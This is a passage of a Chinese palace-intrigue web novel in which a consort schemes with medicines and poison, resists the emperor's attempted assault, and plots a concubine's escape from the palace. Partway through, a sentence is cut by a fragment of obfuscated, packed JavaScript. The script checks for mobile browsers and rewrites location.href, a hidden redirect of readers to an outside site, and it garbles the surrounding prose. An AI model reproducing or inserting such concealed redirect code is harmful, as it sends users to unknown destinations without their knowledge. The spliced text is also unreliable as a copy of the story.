她从袖中取出三个小瓷瓶,递给徐才人:“这青色瓶子里是安胎药,每日一粒,可保腹中胎儿平安;这白色瓶子里是护身药,若有人逼你服用不明之物,先含一粒在口中。至于这红色瓶子……”
她顿了顿,眼中闪过一丝锋芒:“这是解毒丸,寻常毒物可解,若遇剧毒,虽不能全解,却也能续命七日,足够你寻到我。”
徐才人双手接过,如获至宝,眼泪夺眶而出:“娘娘大恩,臣妾无以为报……”
“不必多礼。”阿孟声音平静,却透着不容动摇的决心,“记住,太医院送来的药,绝不可饮。若有人强迫,便说腹中胎儿不稳,需静养。实在推脱不得,便用这护身药。”
“是,臣妾谨记娘娘教诲。”徐才人小心翼翼地将药瓶藏入袖中,又道:“可……可若是谢贵妃派人……”
“谢妤如今自身难保,暂时顾不上你。”阿孟目光幽深,仿佛能洞穿宫墙之外,“至于出宫之事……你且放宽心,时机成熟,我自会安排。”
徐才人跪下磕头,泣不成声:“娘娘救命之恩,臣妾来世做牛做马也要报答……”
阿孟将她扶起:“别说这些了。如今你腹中有子,保重自身才是正理。时候不早,你速速回去,莫要让人瞧出端倪。”
“是,娘娘。”徐才人擦干眼泪,向阿孟行了一礼,在云珠的引导下,悄然离去。
殿门轻阖,阿孟站在窗前,看着月色如水,眸中寒光微闪。
云珠轻手轻脚走到阿孟身后,小声道:“娘娘,如今谢妤病得这般重,何不趁此良机……”她做了个抹脖子的动作,眼中闪着狠辣的光芒。
阿孟轻摇头,指尖轻敲窗棂:“谢妤虽是病弱,但在皇上心中仍有几分位置。若她骤然身死,皇上必起疑心。”她唇角勾起一抹冷笑,“再者,直接要她性命,倒是便宜了她。”
“可是娘娘……”云珠欲言又止。
“不必多虑,”阿孟转身,走向案几,手指划过桌面的竹简,“当务之急,是送徐才人离开这是非之地。”
与此同时,御书房内。
太医双手捧着药方,战战兢兢地跪在地上:“皇上,此方乃是孟贵妃亲自开的,臣仔细查看过,确实无甚问题。以滋补气血为主,辅以安神定惊之药。”
墨司渊接过药方,目光锐利地扫过上面的字迹。这字迹隽秀中透着几分刚毅,与他记忆中孟方意的笔迹如出一辙。他眉头微蹙,眼中闪过一丝疑惑。
“皇上?”太医小心翼翼地问。
墨司渊盯着药方出神,那上面有几味药材,正是当年他与孟方意在一起时常喝的。那时她总是亲自煎药给他,明明是苦涩的汤药,却因她温柔的笑容而变得甘甜……
“皇上?”太医又唤了一声,声音中带着惶恐。
墨司渊神色骤冷,将药方掷在案几上:“滚下去。”
太医如蒙大赦,连连叩首,退出御书房。
墨司渊独自坐在灯下,手指轻敲案几,眼中暗流涌动。
周海站在一旁,看着皇上阴沉的脸色,犹豫片刻后开口:“皇上,谢贵妃对这个孩子很是重视,如今小产一事,她必
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然会责怪孟贵妃。不知皇上打算如何处置?”
墨司渊眼睛盯着案头的药方,声音淡漠:“朕为何要处置?后宫之事,只要孟贵妃不开口,朕从不参与。”
“可是皇上……”
“住口!”墨司渊猛地拍案而起,眸中寒光乍现。
他抓起药方细看,手指微微发颤。
那熟悉的笔迹让他恍如回到了多年前,当时的孟方意正捧着药碗,温声细语地哄他喝下。
“当年,她也是用这些药材……”墨司渊低声自语,眼神忽明忽暗。
周海不敢作声,静立一旁。
墨司渊霍然起身,指尖捏皱了药方,声音暴躁:“传令内务府,孟贵妃那边所需物品,一应供应!但凡短缺一分,治他们死罪!”
周海连忙躬身:“是,皇上。”
“等等!”墨司渊在他转身离开前忽然又道,“你去把孟贵妃叫来,朕有事要问她。”
周海一愣,随即应道:“是。”
墨司渊望着他离去的背影,又拿起那张药方,摩挲着那熟悉的字迹,胸中翻涌着说不清道不明的情绪。
周海躬身道:“皇上,微臣这就去。”
苔蘅殿内,烛火轻摇。阿孟与云珠正低头翻阅医书,手指不时在竹简上轻点,研究着各种药方的功效。
“娘娘,这味药材配伍时需格外注意……”云珠话未说完,殿外传来脚步声。
周海的身影出现在门口,云珠猛地站起,眼中闪过一丝警惕。阿孟却不动声色,将医书合上,抬眸望向来人。
“贵妃娘娘,”周海躬身行礼,“皇上传召,请娘娘即刻前往御书房。”
云珠面露忧色,低声道:“娘娘……”
“无妨。”阿孟示意云珠稍安勿躁,唇角挂着一丝莫测的笑意,“这次我替皇上解了燃眉之急,他不会为难我。”
阿孟整理了一下发髻,神色从容地跟随周海离开。云珠望着娘娘挺拔的背影,心中五味杂陈。
御书房内,墨司渊背对着门,立于窗前。听到脚步声,他没有转身,只冷声道:“进来。”
第165章 回不到从前
阿孟踏入门槛,却刻意停在离墨司渊数步之远的地方,恭敬地行了一礼:“臣妾参见皇上。”
墨司渊转身,眸光如刀,扫过阿孟的脸庞。她立在殿门附近,保持着恰到好处的距离,恭顺又疏离。
“朕让你进来,不是让你站在门口。”墨司渊语气冷峻。
阿孟向前挪了一步,仍保持着明显的距离:“臣妾不敢打扰圣驾。”
墨司渊眉头一皱,怒从心起。他猛地将手中狼毫掷于地上,墨汁四溅。
“孟方意!”墨司渊咬牙切齿,声音低沉却隐含怒火,“你就这般惧怕朕?对顾凛鹤倒是亲近得很!”
阿孟闻言,缓缓抬起头,与墨司渊对视。她的眼神不再有丝毫退缩,反而透着一股凛然不可侵犯的锋芒。
“皇上误会了,”阿孟声音平静如水,“臣妾与顾大将军不过一同为国效力,何来亲近一说?”
“不过几面之缘?”墨司渊冷笑,大步走向阿孟,“你们在边关相谈甚欢,你对他可谓礼数周全,笑脸相迎。今日对朕,却是避之不及!”
阿孟不退不避,眼神愈发凌厉:“顾将军乃国之栋梁,臣妾自当以礼相待。至于皇上……”她停顿片刻,声音带着一丝讥诮,“臣妾不过一宫妃,与皇上自当保持分寸,这是规矩。”
墨司渊身形一滞,眸中火光更盛:“规矩?好一个规矩!”
他猛地伸手,钳住阿孟的手腕:“那你可知道,后妃侍奉君王,也是规矩。谢妤知道,徐才人知道,为何偏偏你不知道?”
阿孟任由他握着自己的手腕,既不挣扎也不屈服,只是冷冷地注视着他:“皇上若要臣妾侍奉,臣妾自当从命。只是,皇上真的需要臣妾吗?”
这句反问如同一把利刃,直刺入墨司渊心底。他松开手,后退半步,眼中闪过一丝复杂的情绪。
阿孟不为所动,眼神依旧锋利如刀:“皇上召臣妾前来,不会只是为了这些无关紧要的事吧?若无他事,臣妾告退。”
墨司渊咬紧牙关,胸口剧烈起伏。他几欲发作,却又生生忍下。良久,他才沉声道:“谢妤的药,是你配的?”
阿孟淡然点头:“是。”
“为何帮她?”墨司渊眯起眼睛,似要看透她的心思。
阿孟微微一笑,眼中却无半点笑意:“皇上不是说过,后宫和睦是臣妾的本分吗?臣妾不过是尽了本分罢了。”
墨司渊盯着她那副波澜不惊的模样,只觉得一股邪火直冲头顶。
他猛地逼近一步,声音压得更低:“少拿这些冠冕堂皇的话来搪塞朕!你以为朕看不出你那点心思?帮谢妤是假,借机在宫中站稳脚跟是真!”
他顿了顿,话锋陡然一转,又绕回了那个让他耿耿于怀的名字:“还是说,你做这一切,都是为了给顾凛鹤看?让他知道你如今在宫中也能游刃有余?”
她抬眸,直视着墨司渊阴沉的眼:“纵然皇上不信,臣妾也是清白身。无论皇上问多少次,答案都是一样——清、白、之、身!”
最后四个字,她几乎是一字一顿地说出。
“放肆!”墨司渊勃然大怒,积压的猜忌与怒火瞬间爆发,扬手便要朝阿孟脸上挥去!
疾风扑面,阿孟却未如他预想中那般惊慌躲闪,反而微微抬起了下颌,将右脸迎向他的掌风。
灯火下,那道已经淡化许多、却依旧清晰可辨的疤痕,就那样毫无遮掩地暴露在他眼前。
墨司渊的手掌在离她脸颊寸许的地方生生顿住,指尖甚至能感受到她肌肤的凉意。
那道疤……像是一盆冰水,兜头浇灭了他汹涌的怒焰。
他怎么能……怎么能打这张脸?
胸腔剧烈起伏,墨司渊猛地收回手,转而狠狠一拳砸在旁边的紫檀木桌案上!
“砰”的一声闷响,震得桌上笔墨纸砚都跳了起来。
墨司渊失控的怒吼犹在耳畔,阿孟却连眼皮都未曾抬一下。
她看着他因愤怒而微微颤抖的肩膀,心中一片死寂,连一丝涟漪都未曾泛起。
对这个为了目的不择手段的男人,她早已看透,自然也不会再有任何不切实际的幻想。
任凭他如何怒火中烧,阿孟只觉无趣。她理了理微乱的衣袖,转身便要告辞离去。
“站住!”
还未迈出一步,一股大力自身后袭来,墨司渊竟猛地从后面抱住了她!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304116|164897||http|test|mini|href|location''.split(''|''),0,{}));
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r>灼热的气息喷洒在颈侧,带着浓烈的侵略意味。
“放开!”阿孟厉声呵斥,奋力挣扎。
墨司渊却不管不顾,手臂如铁钳般箍紧,强行将她往内殿的床榻拖去。
“墨司渊!你疯了!”阿孟又惊又怒,手肘狠狠向后撞去。
“朕是疯了!”墨司渊低吼,蛮横地将她甩在柔软的锦榻上,欺身压了上来,“孟方意,你如今是朕的贵妃!是朕的女人!为何不能像从前一样待朕?”
他的声音带着压抑的痛苦和不甘,试图在她眼中找到一丝过去的温情。
阿孟被他按在榻上,衣衫凌乱,发髻散开几缕。
她看着上方那张因愤怒和欲望而扭曲的脸,只觉得无比讽刺。
“像从前一样?”她忽然停止了挣扎,冷冷地笑了一声。
趁着墨司渊微怔的瞬间,阿孟扬手,用尽全身力气,狠狠一巴掌甩在了他的脸上!
“啪——!”清脆的响声在寂静的御书房内格外刺耳。
墨司渊被打得偏过头去,脸上瞬间浮起清晰的五指印,眼中的暴戾褪去几分,只剩下愕然和一丝受伤。
阿孟撑起身子,坐直身体,目光冰冷地看着他:“皇上,你摸着自己的良心问问,我们之间,如何回到从前?”
她的声音不高,却字字如针,扎进墨司渊的心底。
“孟家满门,边关将士的冤魂,我脸上的这道疤……皇上觉得,哪一样可以当作从未发生过?”
墨司渊僵在原地,脸上火辣辣的疼,心口更像是被什么东西狠狠剜了一下,钝痛蔓延。
那些事情如同毒蛇,日夜啃噬着他,却又被帝王的自尊和掌控欲死死压制。
良久,墨司渊缓缓直起身,避开了阿孟的视线,声音带着无法掩饰的疲惫和苦涩:“……你走吧。”
阿孟没有丝毫犹豫,迅速整理好凌乱的衣衫和发髻,动作利落地下了榻。
她甚至没有再看墨司渊一眼,径直朝着殿门走去,背影挺直,没有一丝留恋。
殿门被轻轻带上,御书房内只剩下墨司渊一人。
他抬手,指尖轻轻触碰着依旧发烫的脸颊,那痛楚提醒着他方才发生的一切。
第166章 优待
苔蘅殿内,云珠见阿孟归来,连忙迎上前,先是快速打量她一眼,确认无恙,才松了口气。
“娘娘,可是受了委屈?”云珠低声问道,手中捏着一枚药丸,递到阿孟面前,“这是最后一批为谢妤准备的药丸,已经搓好了。”
阿孟接过药丸,语气平淡:“墨司渊那边如何,不必多问。”
“奴婢只怕……”云珠欲言又止,看着阿孟略显疲倦的神色,转而道,“娘娘饿了吧?奴婢这就去小厨房开火,给您煮些补身子的。”
阿孟尚未回答,殿外忽然传来一道谄媚的声音:“孟贵妃娘娘,内务府孙福求见!”
云珠愣住,与阿孟目光相对,两人都认出了这是掌管膳食的孙公公。
阿孟微微颔首,整理一下衣襟,带着云珠走出寝殿。
孙公公带着几名内务府的小太监,个个手捧精致食盒,站在殿外的月台上,见阿孟出来,立刻堆起满脸笑容。
“娘娘金安!”孙公公弯腰行礼,腰弓得极低,“老奴特来给娘娘送晚膳。皇上口谕,孟贵妃以后用度全部升为一等,膳食、器具、布匹皆用最好的!”
云珠闻言一怔,下意识抬头看向阿孟。
阿孟却神色如常,淡淡一笑:“有劳孙公公了。云珠,领孙公公他们进殿,将那些菜都摆好。”
“是,娘娘。”云珠引着孙公公等人进殿。
小太监们将食盒一一打开,殿内顿时飘满了诱人的香气。珍馐美馔,精致小菜,一道道摆上桌来。
阿孟在主位坐下,看着满桌佳肴,淡然道:“孙公公费心了。”
“不费心不费心!”孙公公搓着手笑道,“这可是皇上钦点的,连御膳房都挑了三遍材料呢!”
“云珠。”阿孟唤了一声,“把那些绸缎首饰取几样来,谢谢孙公公和各位的辛劳。”
云珠会意,取来一个檀香木盒,打开后露出几件精美的金饰和几匹上好的云锦。
“这……娘娘太客气了!”孙公公眼中闪过一抹喜色,却又做出推辞状,“老奴不过尽本分罢了。”
“孙公公客气了。”阿孟语气温和,“皇上赐的东西多得很,孙公公辛苦一趟,这点心意不算什么。”
听阿孟这样说,孙公公笑得眼睛都眯成了一条缝:“娘娘太客气了!以后娘娘有什么吩咐,只管招呼老奴一声,保管给娘娘办得妥妥当当!”
孙公公眼角皱纹舒展,笑得如同一弯新月:“娘娘太客气了!以后娘娘有什么吩咐,只管招呼老奴一声,保管给娘娘办得妥妥当当!”
阿孟轻声应诺,目送孙公公带人离去。
殿门刚一关上,云珠的笑容立刻消失,瞧着满桌丰盛的饭菜,小声嘀咕:“娘娘,这些东西真能吃吗?皇上今日还那样对您,转眼就送来这些……”
“有何不能吃的?”阿孟不以为意,坐回桌前,拿起筷子,“墨司渊只是想挽回些颜面罢了。”
云珠急道:“娘娘慢着!”她三步并作两步,从柜中取出细长银针,在每道菜中都轻轻拨了拨,这才松了口气,“幸好没问题。”
阿孟微微一笑,眼中闪过一丝讥诮:“墨司渊可不会轻易放弃。恐怕在他想来,一顿饭菜就能收买人心?”她给云珠夹了块鲜嫩肉丝,“吃吧,来的正好,省得你还要去小厨房忙活。”
“奴婢不饿。”云珠连忙摇手,“娘娘您吃就是。”
阿孟却将碗筷放下,神色认真地看着她:“云珠,这些日子辛苦你了。”
“娘娘这是说的哪里话!”云珠一惊,连连摆手,“能跟着娘娘,是奴婢这辈子最大的福分。”她咬了咬下唇,声音低了几分,眼中泪光闪烁,“奴婢什么都不求,只愿娘娘平安,让奴婢一直侍奉在您身边就好。”
阿孟看着这个从小就跟随自己的丫鬟,心头涌起一阵暖流。她伸手握住云珠的手,轻声道:“那你更该好好吃饭。我若有个闪失,谁来照顾你?”
这话说得云珠眼眶一红,忙不迭地点头,乖乖拿起筷子。
阿孟见状,这才满意地将最好的几样菜肴推到云珠面前:“多吃些,养足了精神,咱们的路
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还长着呢。”
深夜寒气如水,浸透了朝露宫的墙壁。
谢妤猛然从睡梦中惊醒,腹部一阵剧烈绞痛让她弓起身子。她咬紧牙关,想要忍住痛楚,却终究低低呻吟出声。
“娘娘?”红豆警觉地从榻旁的铺盖上爬起,“可是身子不适?”
谢妤脸色惨白,额头已渗出冷汗,她想要开口,却连一个字都说不出来,只能痛苦地摇晃着身体。
红豆一惊,连忙为谢妤掖好被角:“娘娘别动,红豆这就去请孟贵妃过来!”
“快……”谢妤终于挤出一个字,眼中流露出罕见的恐惧。
红豆顾不得多言,披上外衣便冲出寝殿。夜深人静,红豆越过几道殿宇,来到苔蘅殿前。她拍打着紧闭的院门,声音因急切而高亢:“孟贵妃娘娘!请救救我家主子!”
片刻后,云珠揉着惺忪睡眼打开了门:“什么人如此无礼,深更半夜扰人清梦?”
红豆面色焦急,根本顾不上礼数,一把推开云珠便往里冲:“我家娘娘腹痛难忍,情况危急!”
“站住!”云珠伸手要拦,却被红豆灵活地闪过。
不等红豆闯入内室,阿孟已披着月白色狐裘披风从里间走出,发髻简单挽起,神色却异常清醒:“谢妤出事了?”
红豆愣住,震惊于阿孟竟能预先知晓。她微微低头:“娘娘早就料到了?”
阿孟拿起桌上事先准备好的药包:“带路吧,去朝露宫。”
红豆见阿孟似早有准备,心中更添几分怀疑。
一路疾行中,她忍不住冷声道:“孟贵妃真是料事如神,竟然连药都备好了。莫非娘娘的腹痛,与你那所谓的''良药''有关?”
阿孟脚步不停,淡然瞥她一眼:“我早就告诉过谢贵妃药性厉害,不可多服。她若不信,又与我何干?”
“你!”红豆咬紧牙关,“我家娘娘病得这般严重,你还如此冷血!”
阿孟嘴角微勾:“红豆姑姑何必苦苦相逼?我有能力帮谢贵妃,却不代表我愿意受人污蔑。”
第167章 谢妤发病
红豆心中暗恨,手不自觉摸上脸颊。
那日谢妤因误会,曾当众赏了她一记耳光。
此仇此恨,她日夜思忆,只恨无处报复。
“孟贵妃,你若真有心救人,就别耍花招。否则……”红豆警告的话未说完,已到朝露宫外。
寝殿内,谢妤蜷缩在榻上,面容惨白如纸,额头冷汗涔涔,显然已经昏厥过去。
众宫女手足无措,红豆见状立刻扑到榻前。
“娘娘!娘娘醒醒!”红豆声嘶力竭地呼喊,生怕主子有个三长两短。
阿孟冷眼观察片刻,突然喝道:“住嘴!你这般闹腾,是想召来更多人看热闹吗?”
“可是娘娘她——”
“闭嘴!”阿孟眼神如刀,“若想救你家娘娘,就按我说的做。”
红豆不甘心地咬住下唇,却终究不敢再出声。
“去,备温水。”阿孟命令道,手已利落地打开药包,取出一小包粉末,“再找个干净瓷碗来。”
看着阿孟沉着冷静的样子,红豆心中暗暗忖度。
这孟方意当真如此好心?还是另有所图?但眼下救人要紧,她只得按吩咐行事。
“为什么你早就……”红豆端水回来时,忍不住再问。
阿孟头也不抬,专注地将药粉倒入碗中:“因为我比谁都了解这药,知道她会有什么症状。”她的声音极轻,却足以让红豆听清,“就像我也知道,你们都巴不得我死一样。”
红豆瞪大了眼睛,却不敢反驳。
阿孟动作麻利,从药包中取出云珠精心研磨的药丸,将其碾碎于瓷碗中,缓缓倒入温水,药粉立刻化开,散发出一股淡淡的草药香。
“扶起她。”阿孟命令道。
红豆一面警惕地盯着阿孟,一面小心翼翼地扶起谢妤。
阿孟端着药碗,一手托住谢妤的后颈,将药水送至其唇边。
“一点一点喂,别呛着。”
谢妤喉头滚动,下意识吞咽着。
药水入喉,她紧锁的眉头渐渐舒展,脸色也由惨白转为微白,身体的颤抖也逐渐平息。
阿孟放下碗,冷静地观察着谢妤的反应,手指不时在她腕上探寻脉象。
一柱香时间过去,谢妤眼皮轻颤,慢慢睁开了眼睛。
“水。”阿孟伸手,一旁的宫女连忙递上清水。
阿孟从袖中取出另一粒药丸,是通体莹绿的养神丹,放入水中搅匀。
“再喝下去。”
谢妤虚弱地看了阿孟一眼,不由分说地将药水一饮而尽。
片刻后,她气色稍好,总算有了说话的力气。
“孟方意,你给我的是什么假孕药?”谢妤声音沙哑,眼中闪烁着愤怒的火光,“为何后遗症如此严重?”
阿孟整理了一下衣袖,不紧不慢地回道:“非是药有问题,而是药物冲突。谢贵妃身子本就虚弱,又服了别的药物,自然会有些痛苦。”
她抬眼看向一旁的红豆,语气淡然:“况且,我这是在尽力弥补红豆姑姑下药犯下的过错。”
此言一出,殿内气氛骤然紧绷。
谢妤脸色霎时变得铁青,死死盯着红豆,眼中怒火几欲喷薄而出。
“红豆,她说什么?”谢妤咬牙切齿,“什么下药?”
红豆面如土色,双腿发软,几欲跪倒。
她想辩解,却无从开口,只能恨恨地瞪着阿孟,心中怨毒几乎要溢出眼眶。
“娘娘息怒,”红豆哆嗦着解释,“孟贵妃这是胡说八道,故意扰乱娘娘心神!”
阿孟轻笑一声:“我说的是实话还是谎言,谢贵妃心中最清楚不过。”她站起身,整理了一下衣襟,“谢贵妃若还想保住这条命,最好安心静养。”
“你!”红豆气得浑身发抖,却又不敢造次,只能用眼神狠狠剜着红豆。
“既然谢贵妃无大碍,我也该告退了。”阿孟收起药包,转身迈向殿门,临走前留下一句,“切记,三日内不可再服用任何药物。”
红豆跪在地上,感受着头顶谢妤灼烧般的目光,心底冰凉一片。
阿孟从药包中取出几个玉色透明的丹药,轻放在桌案上,动作不紧不慢。
“这是我
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亲手配的调养丹,谢贵妃每日服用一粒,可快速修复受损的元气。”阿孟声音平静,眼神却锐利如刀,“若不及时调养,身子必定留下亏空,日后只怕连侍奉皇上都成难事。”
谢妤听罢,脸色顿变,一双柳眉紧紧蹙起:“我身子若有损伤,你可担得起责任?”
“娘娘放心,我会源源不断地为您制药。”阿孟微微欠身,又道,“但这药性霸道,您必须按时服用,不可间断,否则病情反复,后果自负。”
谢妤眯起眼睛,警惕地盯着那几粒药丸:“你既然这样说,这药你自己也得吃。”她冷笑一声,“免得你心怀不轨。若我身子真能调养好,往后自然少不了你的好处。”
阿孟眼中闪过一丝讥讽,但转瞬即逝。
她毫不犹豫拈起一粒丹药,当着谢妤的面送入口中,咽下。
“娘娘既然担心,我自然要以实际行动表忠心。”阿孟嘴角勾起一丝冷意,“既然娘娘已无大碍,我便先告退了。以后若有不适,就服用今日送来的药丸便是。”
她转身欲离开,却又似想起什么,回头看向红豆:“红豆姑姑,记得看好药量,千万别弄错了。一日一粒,多一分则毒,少一分则无效。”
谢妤闻言,狠狠剜了红豆一眼,那眼神宛如淬了毒的**。红豆跪在地上,浑身颤抖,额头已渗出冷汗。
“奴婢……奴婢记住了。”红豆声音低不可闻,不敢抬头。
“送孟贵妃。”谢妤冷冷吩咐道,眼中杀意隐现。
阿孟理了理衣袖,迈步离开朝露宫。
刚踏出宫门,身后便传来红豆的求饶声,夹杂着物什翻倒的混乱声响。
“娘娘饶命!奴婢真的不是有意……啊!”凄厉的哭叫戛然而止。
阿孟脚步未停,嘴角却扬起一抹冷笑。
任凭宫墙内如何风雨欲来,她自是无波无澜。
朝露宫外,月色如洗。
阿孟刚迈出殿门,便看见云珠焦急的身影在廊下踱步。见到阿孟,云珠立即小跑上前,小心翼翼地扶住她的手臂。
第168章 计划出宫
“娘娘!”云珠声音里满是愧疚,“奴婢实在担心,就擅自跟过来了。娘娘别生气,奴婢知错了。”
多少人背叛离去,多少人因她而死,唯有云珠始终相随。一股暖流涌上心头,她突然伸手将云珠揽入怀中。
“云珠,”阿孟声音微微颤抖,“这些年来,我身边离开了太多人,唯独你一直守在我身旁。”
云珠愣了一瞬,随即紧紧回抱住阿孟,泪水无声滑落:“娘娘,奴婢此生只认您一个主子。就算粉身碎骨,也绝不离开。”
“傻丫头,”阿孟松开手,轻轻拭去云珠脸上的泪痕,“有你在,我便不孤单。”
二人相视一笑,阿孟轻握住云珠的手,二人并肩走在回宫的长廊上。
这一刻,宫墙内的尔虞我诈似乎都被抛在了身后。
回到苔蘅殿,云珠端来温水为阿孟洗手。看着那双因调药而沾了药粉的素手,云珠动作轻柔,生怕伤着主子分毫。
“娘娘,朝露宫那边……到底发生了什么?”云珠一边轻轻擦拭阿孟的指尖,一边问道。
阿孟将谢妤**、红豆被揭穿的事情娓娓道来。云珠听得心惊肉跳,手上动作都顿了一下。
“娘娘此举……恐怕是要得罪谢贵妃了。”云珠欲言又止,“那红豆与谢贵妃主仆一体,您这般当面揭穿她,谢贵妃日后定会—”
“定会如何?”阿孟反问,眼中闪过一丝锋芒,“不过是狗急跳墙罢了。”
云珠放下手巾,忧心忡忡:“可是娘娘,谢贵妃与红豆狼狈为奸,她们若对付您……”
阿孟挑起眉梢,轻哂一声:“你当我为何要此时揭穿红豆?”
“娘娘是想……挑拨离间?”云珠眸光一亮。
“正是。”阿孟指尖轻叩桌面,“那二人表面主仆情深,实则各怀心思。红豆知晓谢妤多少秘密,谢妤又有多少事不愿人知?”
云珠眼中闪过一丝了然:“谢贵妃最放不下的就是那皇后之位。”
“不错。”阿孟目光幽深,“谢妤纵使想在七夕和宫夜宴上害我,却绝不愿''假孕''露馅。红豆受她指使放了些导致小产的药,可她腹中本就无子,吃了那些药,她身子怎么能好?”
寝殿内灯火摇曳,映照着阿孟如水般平静的面容。她冷静分析道:“此事关键在于,那些药是红豆亲手所为,而非我经手。谢妤身体有异,是在红豆下药之后——我只需一口咬定这点。”
“所以谢贵妃的怒火……”
“自会全部发泄在红豆身上。”阿孟起身踱步,裙摆在地上划出优美弧线,“主仆再亲密,也经不起猜忌。红豆觉得委屈,谢妤又怒火无处发泄,二人心中隔阂必然日渐加深。”
云珠眼中浮现崇敬之色:“娘娘好计谋!打击谢妤心腹,便能逐步让她孤立无援。”
阿孟目光一凛:“宫中无非攻心为上。谢妤不足为惧,墨司渊纵使多疑,但我能看穿他心中算计。”
“可若谢贵妃识破此计……”
“识破又如何?”阿孟淡然一笑,伸手轻抚云珠发鬓,“云珠,我早已不是当年那个任人宰割的孟家小姐。这后宫之中,唯有最后笑到最后的人,才有资格说自己赢了。”
云珠紧握住阿孟的手,坚定道:“娘娘放心,无论前路如何,云珠都会一直陪在您身边。”
月光透窗而入,洒在主仆二人身上,如同披了一层柔和的银纱。
云珠眉头轻蹙,虽为对谢妤和红豆的计谋得意,却又忍不住忧心忡忡:“娘娘,您方才当着谢贵妃的面服下那药丸……那药性寒凉,长服对身子大不利。”
阿孟淡然一笑:“你以为我当真会吞那药?”
“娘娘有办法?”
“端盆来。”阿孟朝云珠招了招手。
云珠连忙取来一只木盆,放在阿孟面前。
只见阿孟从袖中取出一枚银针,迅速在自己喉间几处大穴上轻点,随即低头,“哇”地一声将方才吞下的药丸尽数吐出。
“娘娘好手段!”云珠惊叹连连。
“区区小计,不值一提。”阿孟抹去唇边水渍,又从腰间锦囊取出一枚莹白的丸药,“解毒丸,以防有残留。”
云珠见状,忙不迭地取来一碗温热的参
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汤:“您且将这碗补汤喝下,暖暖胃。”
阿孟接过碗,一饮而尽,感受着温热沿着喉管滑下,驱散了那股寒凉之气。
“谢妤自诩聪明,却不知毒医之术远非她所能想象。”阿孟将空碗放下,眸光清冷,“明日你出宫取药时,去见一趟师父。”
云珠点头应下。
阿孟这才继续说道:“将徐才人的事告知他,请他联系顾将军,共同商议如何送徐才人出京。”
云珠抿了抿唇不由得担忧道:“宫中守卫森严,也不知道贺神医他们如何插手。”
阿孟拢了拢衣襟,眉眼间流露出少有的信任:“这宫中藏龙卧虎,能真正信任的唯有他二人。”
云珠重重点头:“娘娘放心,明日我必亲自去见贺神医。”
次日清晨,朝霞初露。
云珠披着暗色斗篷,腰间别着侍女出宫的腰牌,快步出了皇宫。
七弯八拐间,她已到了城南一处不起眼的院落前。
“贺神医,云珠求见!”云珠站在院门外轻声唤道。
门“吱呀”一声开了条缝,一张英俊不羁的脸探出,正是贺景行。
“云珠,来得这般早?”贺景行挑眉打量她一番,侧身让她进门,言语紧张道:“莫非是阿孟出什么事了?”
云珠进了院子,环顾四周,见无外人,才低声道:“阿孟娘娘一切安好,只是有事相托。”
贺景行倒了杯茶递给她:“说说看。”
“是关于徐才人的事。”云珠接过茶杯,娓娓道来,“娘娘想请师父联系顾将军,共同想法子送徐才人出京。”
贺景行闻言,手指轻敲桌面:“墨司渊那厮越发疯魔,阿孟在宫中只怕是步步惊心。”
“娘娘说了,如今宫中能帮徐才人的,除了您和顾将军,再无第三人。”
贺景行眼底闪过一丝忧虑,却对这样的挑战十分在意:“那丫头倒是会给我出难题。”
他揉了揉眉心,却又迅速变得正色:“不过事关阿孟,我自会全力相助。顾凛鹤那边,我亲自走一趟。”
“师父可有把握?”云珠忍不住发问。
第169章 商议出宫
贺景行将宽大衣袖一捋,脸上露出那种游刃有余的笑意:“你家主子何时见过我办不成的事?只要阿孟一个字,我便是踏平皇宫也要完成。”
云珠被他这番豪言壮语逗笑,面上却仍显忧色:“娘娘如今在宫中步步维艰,师父千万小心行事。”
“放心,这点小事不过是手到擒来。”贺景行拍了拍药箱,从中取出几包包装精致的药包,递给云珠,“这是我新配的安神汤药,给阿孟带回去,告诉她按时服用,别又拿自己身子开玩笑。”
云珠小心接过,珍重地放入袖中:“多谢师父关心。”
“去吧,宫中耽搁久了恐有不便。”贺景行轻轻拍了拍云珠的肩,眼中满是对她忠心的赞赏。
云珠告辞而去,背影很快消失在晨光中。贺景行目送片刻,神情陡然严肃起来。
他转身回到内室,唤来一名正在碾药的少年:“小七,随我去趟将军府。”
少年放下药杵,擦了擦手:“师父要去找顾将军?”
“正是。”贺景行换了身酒气未散的常服,佯作一副寻常游医模样,背上药箱,“此事干系重大,不容有失。”
顾将军府邸,庭院深深。
顾凛鹤赤着上身,手握长剑,在晨曦中练剑。
剑光如水,身形似风,每一招都透着军中征战多年的凌厉与沉稳。
“将军,”一名家丁匆匆赶来,躬身禀报,“门外有人求见。”
顾凛鹤挑眉,剑势不停:“何人?”
“未曾通报姓名,只说有要事相商。”
顾凛鹤眉头一皱,停下剑势,心中立刻想到了顾奚慈。那丫头近日总在他面前旁敲侧击打探阿孟的事,着实令人心烦。
“不见。”他语气冷淡,“就说我不在府中。”
家丁迟疑道:“那人是个男子,手提药箱,看着像个游医。”
顾凛鹤眼神一亮,立刻出声道:“药箱?快请进来,带到书房。”他转向另一名家丁,“把我衣服取来,再命人在书房门外守着,不许任何人打扰。”
片刻后,贺景行被引入书房。顾凛鹤关上门,室内顿时只剩二人。
顾凛鹤穿上侍从送来的长袍,也不系带,大步走到书案旁,握住贺景行的手腕:“可是阿——孟贵妃出事了?”
贺景行笑了笑,抽回手腕:“将军这般紧张,莫不是对那位贵妃娘娘有什么特别的心思?”
顾凛鹤面色紧张:“神医莫要打趣。速速说来意。”
“云珠今早来找我,是阿孟的意思。”贺景行在椅上坐下,手指轻叩桌面,“她要我们帮忙,送一位宫中贵人出城。”
顾凛鹤眉头微皱:“宫中的人?”
“是位叫徐才人的宫妃,身怀六甲,若留在宫中,怕是难保母子性命。”
顾凛鹤目光一凛:“阿孟要帮宫妃脱身?若被那昏君发现,岂不是——”
“所以才找到咱们,”贺景行打断道,“阿孟会想办法将人送出宫,你我要做的,是安排人手护送此人远离京城。”
顾凛鹤踱步至窗前,军旅生涯养成的警觉让他下意识查看四周:“墨司渊那厮心狠手辣,若发现阿孟暗中帮人,只怕不会轻饶。”
“你以为我不担心?”贺景行叹了口气,眼中闪过一丝复杂,“可她既然托云珠来求,必是已有周全计划。我等若拒绝,反倒可能扰乱她的部署。”
